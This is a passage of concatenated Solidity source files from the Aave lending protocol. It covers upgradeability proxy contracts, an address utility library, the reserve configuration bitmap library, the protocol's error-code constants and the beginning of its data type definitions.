// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
uint256 cs;
//solium-disable-next-line
assembly {
cs := extcodesize(address())
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import './BaseImmutableAdminUpgradeabilityProxy.sol';
import '../../../dependencies/openzeppelin/upgradeability/InitializableUpgradeabilityProxy.sol';
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends BaseAdminUpgradeabilityProxy with an initializer function
*/
contract InitializableImmutableAdminUpgradeabilityProxy is
BaseImmutableAdminUpgradeabilityProxy,
InitializableUpgradeabilityProxy
{
constructor(address admin) public BaseImmutableAdminUpgradeabilityProxy(admin) {}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override(BaseImmutableAdminUpgradeabilityProxy, Proxy) {
BaseImmutableAdminUpgradeabilityProxy._willFallback();
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import '../../../dependencies/openzeppelin/upgradeability/BaseUpgradeabilityProxy.sol';
/**
* @title BaseImmutableAdminUpgradeabilityProxy
* @author Aave, inspired by the OpenZeppelin upgradeability proxy pattern
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks. The admin role is stored in an immutable, which
* helps saving transactions costs
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseImmutableAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
address immutable ADMIN;
constructor(address admin) public {
ADMIN = admin;
}
modifier ifAdmin() {
if (msg.sender == ADMIN) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return ADMIN;
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != ADMIN, 'Cannot call fallback function from the proxy admin');
super._willFallback();
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import './Proxy.sol';
import '../contracts/Address.sol';
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
//solium-disable-next-line
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
'Cannot set a proxy implementation to a non-contract address'
);
bytes32 slot = IMPLEMENTATION_SLOT;
//solium-disable-next-line
assembly {
sstore(slot, newImplementation)
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
//solium-disable-next-line
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import './BaseUpgradeabilityProxy.sol';
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {Errors} from '../helpers/Errors.sol';
import {DataTypes} from '../types/DataTypes.sol';
/**
* @title ReserveConfiguration library
* @author Aave
* @notice Implements the bitmap logic to handle the reserve configuration
*/
library ReserveConfiguration {
uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore
uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore
uint256 constant LIQUIDATION_BONUS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFF; // prettier-ignore
uint256 constant DECIMALS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00FFFFFFFFFFFF; // prettier-ignore
uint256 constant ACTIVE_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFF; // prettier-ignore
uint256 constant FROZEN_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFFFFFFFF; // prettier-ignore
uint256 constant BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFFFFFFFFFFFFF; // prettier-ignore
uint256 constant STABLE_BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFFFFFFFFF; // prettier-ignore
uint256 constant RESERVE_FACTOR_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFFFFFFFFFF; // prettier-ignore
/// @dev For the LTV, the start bit is 0 (up to 15), hence no bitshifting is needed
uint256 constant LIQUIDATION_THRESHOLD_START_BIT_POSITION = 16;
uint256 constant LIQUIDATION_BONUS_START_BIT_POSITION = 32;
uint256 constant RESERVE_DECIMALS_START_BIT_POSITION = 48;
uint256 constant IS_ACTIVE_START_BIT_POSITION = 56;
uint256 constant IS_FROZEN_START_BIT_POSITION = 57;
uint256 constant BORROWING_ENABLED_START_BIT_POSITION = 58;
uint256 constant STABLE_BORROWING_ENABLED_START_BIT_POSITION = 59;
uint256 constant RESERVE_FACTOR_START_BIT_POSITION = 64;
uint256 constant MAX_VALID_LTV = 65535;
uint256 constant MAX_VALID_LIQUIDATION_THRESHOLD = 65535;
uint256 constant MAX_VALID_LIQUIDATION_BONUS = 65535;
uint256 constant MAX_VALID_DECIMALS = 255;
uint256 constant MAX_VALID_RESERVE_FACTOR = 65535;
/**
* @dev Sets the Loan to Value of the reserve
* @param self The reserve configuration
* @param ltv the new ltv
**/
function setLtv(DataTypes.ReserveConfigurationMap memory self, uint256 ltv) internal pure {
require(ltv <= MAX_VALID_LTV, Errors.RC_INVALID_LTV);
self.data = (self.data & LTV_MASK) | ltv;
}
/**
* @dev Gets the Loan to Value of the reserve
* @param self The reserve configuration
* @return The loan to value
**/
function getLtv(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) {
return self.data & ~LTV_MASK;
}
/**
* @dev Sets the liquidation threshold of the reserve
* @param self The reserve configuration
* @param threshold The new liquidation threshold
**/
function setLiquidationThreshold(DataTypes.ReserveConfigurationMap memory self, uint256 threshold)
internal
pure
{
require(threshold <= MAX_VALID_LIQUIDATION_THRESHOLD, Errors.RC_INVALID_LIQ_THRESHOLD);
self.data =
(self.data & LIQUIDATION_THRESHOLD_MASK) |
(threshold << LIQUIDATION_THRESHOLD_START_BIT_POSITION);
}
/**
* @dev Gets the liquidation threshold of the reserve
* @param self The reserve configuration
* @return The liquidation threshold
**/
function getLiquidationThreshold(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (uint256)
{
return (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION;
}
/**
* @dev Sets the liquidation bonus of the reserve
* @param self The reserve configuration
* @param bonus The new liquidation bonus
**/
function setLiquidationBonus(DataTypes.ReserveConfigurationMap memory self, uint256 bonus)
internal
pure
{
require(bonus <= MAX_VALID_LIQUIDATION_BONUS, Errors.RC_INVALID_LIQ_BONUS);
self.data =
(self.data & LIQUIDATION_BONUS_MASK) |
(bonus << LIQUIDATION_BONUS_START_BIT_POSITION);
}
/**
* @dev Gets the liquidation bonus of the reserve
* @param self The reserve configuration
* @return The liquidation bonus
**/
function getLiquidationBonus(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (uint256)
{
return (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION;
}
/**
* @dev Sets the decimals of the underlying asset of the reserve
* @param self The reserve configuration
* @param decimals The decimals
**/
function setDecimals(DataTypes.ReserveConfigurationMap memory self, uint256 decimals)
internal
pure
{
require(decimals <= MAX_VALID_DECIMALS, Errors.RC_INVALID_DECIMALS);
self.data = (self.data & DECIMALS_MASK) | (decimals << RESERVE_DECIMALS_START_BIT_POSITION);
}
/**
* @dev Gets the decimals of the underlying asset of the reserve
* @param self The reserve configuration
* @return The decimals of the asset
**/
function getDecimals(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (uint256)
{
return (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION;
}
/**
* @dev Sets the active state of the reserve
* @param self The reserve configuration
* @param active The active state
**/
function setActive(DataTypes.ReserveConfigurationMap memory self, bool active) internal pure {
self.data =
(self.data & ACTIVE_MASK) |
(uint256(active ? 1 : 0) << IS_ACTIVE_START_BIT_POSITION);
}
/**
* @dev Gets the active state of the reserve
* @param self The reserve configuration
* @return The active state
**/
function getActive(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) {
return (self.data & ~ACTIVE_MASK) != 0;
}
/**
* @dev Sets the frozen state of the reserve
* @param self The reserve configuration
* @param frozen The frozen state
**/
function setFrozen(DataTypes.ReserveConfigurationMap memory self, bool frozen) internal pure {
self.data =
(self.data & FROZEN_MASK) |
(uint256(frozen ? 1 : 0) << IS_FROZEN_START_BIT_POSITION);
}
/**
* @dev Gets the frozen state of the reserve
* @param self The reserve configuration
* @return The frozen state
**/
function getFrozen(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) {
return (self.data & ~FROZEN_MASK) != 0;
}
/**
* @dev Enables or disables borrowing on the reserve
* @param self The reserve configuration
* @param enabled True if the borrowing needs to be enabled, false otherwise
**/
function setBorrowingEnabled(DataTypes.ReserveConfigurationMap memory self, bool enabled)
internal
pure
{
self.data =
(self.data & BORROWING_MASK) |
(uint256(enabled ? 1 : 0) << BORROWING_ENABLED_START_BIT_POSITION);
}
/**
* @dev Gets the borrowing state of the reserve
* @param self The reserve configuration
* @return The borrowing state
**/
function getBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (bool)
{
return (self.data & ~BORROWING_MASK) != 0;
}
/**
* @dev Enables or disables stable rate borrowing on the reserve
* @param self The reserve configuration
* @param enabled True if the stable rate borrowing needs to be enabled, false otherwise
**/
function setStableRateBorrowingEnabled(
DataTypes.ReserveConfigurationMap memory self,
bool enabled
) internal pure {
self.data =
(self.data & STABLE_BORROWING_MASK) |
(uint256(enabled ? 1 : 0) << STABLE_BORROWING_ENABLED_START_BIT_POSITION);
}
/**
* @dev Gets the stable rate borrowing state of the reserve
* @param self The reserve configuration
* @return The stable rate borrowing state
**/
function getStableRateBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (bool)
{
return (self.data & ~STABLE_BORROWING_MASK) != 0;
}
/**
* @dev Sets the reserve factor of the reserve
* @param self The reserve configuration
* @param reserveFactor The reserve factor
**/
function setReserveFactor(DataTypes.ReserveConfigurationMap memory self, uint256 reserveFactor)
internal
pure
{
require(reserveFactor <= MAX_VALID_RESERVE_FACTOR, Errors.RC_INVALID_RESERVE_FACTOR);
self.data =
(self.data & RESERVE_FACTOR_MASK) |
(reserveFactor << RESERVE_FACTOR_START_BIT_POSITION);
}
/**
* @dev Gets the reserve factor of the reserve
* @param self The reserve configuration
* @return The reserve factor
**/
function getReserveFactor(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (uint256)
{
return (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION;
}
/**
* @dev Gets the configuration flags of the reserve
* @param self The reserve configuration
* @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled
**/
function getFlags(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (
bool,
bool,
bool,
bool
)
{
uint256 dataLocal = self.data;
return (
(dataLocal & ~ACTIVE_MASK) != 0,
(dataLocal & ~FROZEN_MASK) != 0,
(dataLocal & ~BORROWING_MASK) != 0,
(dataLocal & ~STABLE_BORROWING_MASK) != 0
);
}
/**
* @dev Gets the configuration paramters of the reserve
* @param self The reserve configuration
* @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals
**/
function getParams(DataTypes.ReserveConfigurationMap storage self)
internal
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256
)
{
uint256 dataLocal = self.data;
return (
dataLocal & ~LTV_MASK,
(dataLocal & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION,
(dataLocal & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION,
(dataLocal & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION,
(dataLocal & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION
);
}
/**
* @dev Gets the configuration paramters of the reserve from a memory object
* @param self The reserve configuration
* @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals
**/
function getParamsMemory(DataTypes.ReserveConfigurationMap memory self)
internal
pure
returns (
uint256,
uint256,
uint256,
uint256,
uint256
)
{
return (
self.data & ~LTV_MASK,
(self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION,
(self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION,
(self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION,
(self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION
);
}
/**
* @dev Gets the configuration flags of the reserve from a memory object
* @param self The reserve configuration
* @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled
**/
function getFlagsMemory(DataTypes.ReserveConfigurationMap memory self)
internal
pure
returns (
bool,
bool,
bool,
bool
)
{
return (
(self.data & ~ACTIVE_MASK) != 0,
(self.data & ~FROZEN_MASK) != 0,
(self.data & ~BORROWING_MASK) != 0,
(self.data & ~STABLE_BORROWING_MASK) != 0
);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title Errors library
* @author Aave
* @notice Defines the error messages emitted by the different contracts of the Aave protocol
* @dev Error messages prefix glossary:
* - VL = ValidationLogic
* - MATH = Math libraries
* - CT = Common errors between tokens (AToken, VariableDebtToken and StableDebtToken)
* - AT = AToken
* - SDT = StableDebtToken
* - VDT = VariableDebtToken
* - LP = LendingPool
* - LPAPR = LendingPoolAddressesProviderRegistry
* - LPC = LendingPoolConfiguration
* - RL = ReserveLogic
* - LPCM = LendingPoolCollateralManager
* - P = Pausable
*/
library Errors {
//common errors
string public constant CALLER_NOT_POOL_ADMIN = '33'; // 'The caller must be the pool admin'
string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small
//contract specific errors
string public constant VL_INVALID_AMOUNT = '1'; // 'Amount must be greater than 0'
string public constant VL_NO_ACTIVE_RESERVE = '2'; // 'Action requires an active reserve'
string public constant VL_RESERVE_FROZEN = '3'; // 'Action cannot be performed because the reserve is frozen'
string public constant VL_CURRENT_AVAILABLE_LIQUIDITY_NOT_ENOUGH = '4'; // 'The current liquidity is not enough'
string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // 'User cannot withdraw more than the available balance'
string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // 'Transfer cannot be allowed.'
string public constant VL_BORROWING_NOT_ENABLED = '7'; // 'Borrowing is not enabled'
string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // 'Invalid interest rate mode selected'
string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // 'The collateral balance is 0'
string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // 'Health factor is lesser than the liquidation threshold'
string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // 'There is not enough collateral to cover a new borrow'
string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled
string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed
string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // 'The requested amount is greater than the max loan size in stable rate mode
string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15'; // 'for repayment of stable debt, the user needs to have stable debt, otherwise, he needs to have variable debt'
string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // 'To repay on behalf of an user an explicit amount to repay is needed'
string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // 'User does not have a stable rate loan in progress on this reserve'
string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // 'User does not have a variable rate loan in progress on this reserve'
string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // 'The underlying balance needs to be greater than 0'
string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // 'User deposit is already being used as collateral'
string public constant LP_NOT_ENOUGH_STABLE_BORROW_BALANCE = '21'; // 'User does not have any stable rate loan for this reserve'
string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // 'Interest rate rebalance conditions were not met'
string public constant LP_LIQUIDATION_CALL_FAILED = '23'; // 'Liquidation call failed'
string public constant LP_NOT_ENOUGH_LIQUIDITY_TO_BORROW = '24'; // 'There is not enough liquidity available to borrow'
string public constant LP_REQUESTED_AMOUNT_TOO_SMALL = '25'; // 'The requested amount is too small for a FlashLoan.'
string public constant LP_INCONSISTENT_PROTOCOL_ACTUAL_BALANCE = '26'; // 'The actual balance of the protocol is inconsistent'
string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // 'The caller of the function is not the lending pool configurator'
string public constant LP_INCONSISTENT_FLASHLOAN_PARAMS = '28';
string public constant CT_CALLER_MUST_BE_LENDING_POOL = '29'; // 'The caller of this function must be a lending pool'
string public constant CT_CANNOT_GIVE_ALLOWANCE_TO_HIMSELF = '30'; // 'User cannot give allowance to himself'
string public constant CT_TRANSFER_AMOUNT_NOT_GT_0 = '31'; // 'Transferred amount needs to be greater than zero'
string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // 'Reserve has already been initialized'
string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_ATOKEN_POOL_ADDRESS = '35'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS = '36'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS = '37'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '38'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '39'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_ADDRESSES_PROVIDER_ID = '40'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_CONFIGURATION = '75'; // 'Invalid risk parameters for the reserve'
string public constant LPC_CALLER_NOT_EMERGENCY_ADMIN = '76'; // 'The caller must be the emergency admin'
string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // 'Provider is not registered'
string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // 'Health factor is not below the threshold'
string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // 'The collateral chosen cannot be liquidated'
string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // 'User did not borrow the specified currency'
string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // "There isn't enough liquidity available to liquidate"
string public constant LPCM_NO_ERRORS = '46'; // 'No errors'
string public constant LP_INVALID_FLASHLOAN_MODE = '47'; //Invalid flashloan mode selected
string public constant MATH_MULTIPLICATION_OVERFLOW = '48';
string public constant MATH_ADDITION_OVERFLOW = '49';
string public constant MATH_DIVISION_BY_ZERO = '50';
string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128
string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128
string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128
string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128
string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128
string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint
string public constant LP_FAILED_REPAY_WITH_COLLATERAL = '57';
string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn
string public constant LP_FAILED_COLLATERAL_SWAP = '60';
string public constant LP_INVALID_EQUAL_ASSETS_TO_SWAP = '61';
string public constant LP_REENTRANCY_NOT_ALLOWED = '62';
string public constant LP_CALLER_MUST_BE_AN_ATOKEN = '63';
string public constant LP_IS_PAUSED = '64'; // 'Pool is paused'
string public constant LP_NO_MORE_RESERVES_ALLOWED = '65';
string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66';
string public constant RC_INVALID_LTV = '67';
string public constant RC_INVALID_LIQ_THRESHOLD = '68';
string public constant RC_INVALID_LIQ_BONUS = '69';
string public constant RC_INVALID_DECIMALS = '70';
string public constant RC_INVALID_RESERVE_FACTOR = '71';
string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72';
string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73';
string public constant LP_INCONSISTENT_PARAMS_LENGTH = '74';
string public constant UL_INVALID_INDEX = '77';
string public constant LP_NOT_CONTRACT = '78';
string public constant SDT_STABLE_DEBT_OVERFLOW = '79';
string public constant SDT_BURN_EXCEEDS_BALANCE = '80';
string public constant PLP_DEPOSITOR_UNAUTHORIZED = '81';
string public constant PLP_BORROWER_UNAUTHORIZED = '82';
string public constant PLP_LIQUIDATOR_UNAUTHORIZED = '83';
string public constant PLP_CALLER_NOT_STABLE_RATE_MANAGER = '84';
string public constant PLP_USER_UNAUTHORIZED = '85';
string public constant PLP_INVALID_PERMISSION_ADMIN = '86';
enum CollateralManagerErrors {
NO_ERROR,
NO_COLLATERAL_AVAILABLE,
COLLATERAL_CANNOT_BE_LIQUIDATED,
CURRRENCY_NOT_BORROWED,
HEALTH_FACTOR_ABOVE_THRESHOLD,
NOT_ENOUGH_LIQUIDITY,
NO_ACTIVE_RESERVE,
HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD,
INVALID_EQUAL_ASSETS_TO_SWAP,
FROZEN_RESERVE
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
library DataTypes {
// refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties.
struct ReserveData {
//stores the reserve configuration
ReserveConfigurationMap configuration;
//the liquidity index. Expressed in ray
uint128 liquidityIndex;
//variable borrow index. Expressed in ray
uint128 variableBorrowIndex;
//the current supply rate. Expressed in ray
uint128 currentLiquidityRate;
//the current variable borrow rate. Expressed in ray
uint128 currentVariableBorrowRate;
//the current stable borrow rate. Expressed in ray
uint128 currentStableBorrowRate;
uint40 lastUpdateTimestamp;
//tokens addresses
address aTokenAddress;
address stableDebtTokenAddress;
address variableDebtTokenAddress;
//address of the interest rate strategy
address interestRateStrategyAddress;
//the id of the reserve. Represents the position in the list of the active reserves
uint8 id;
}
struct ReserveConfigurationMap {
//bit 0-15: LTV
//bit 16-31: Liq. threshold
//bit 32-47: Liq. bonus
//bit 48-55: Decimals
//bit 56: Reserve is active
//bit 57: reserve is frozen
//bit 58: borrowing is enabled
//bit 59: stable rate borrowing enabled
//bit 60-63: reserved
//bit 64-79: reserve factor
uint256 data;
}
struct UserConfigurationMap {
uint256 data;
}
enum InterestRateMode {NONE, STABLE, VARIABLE}
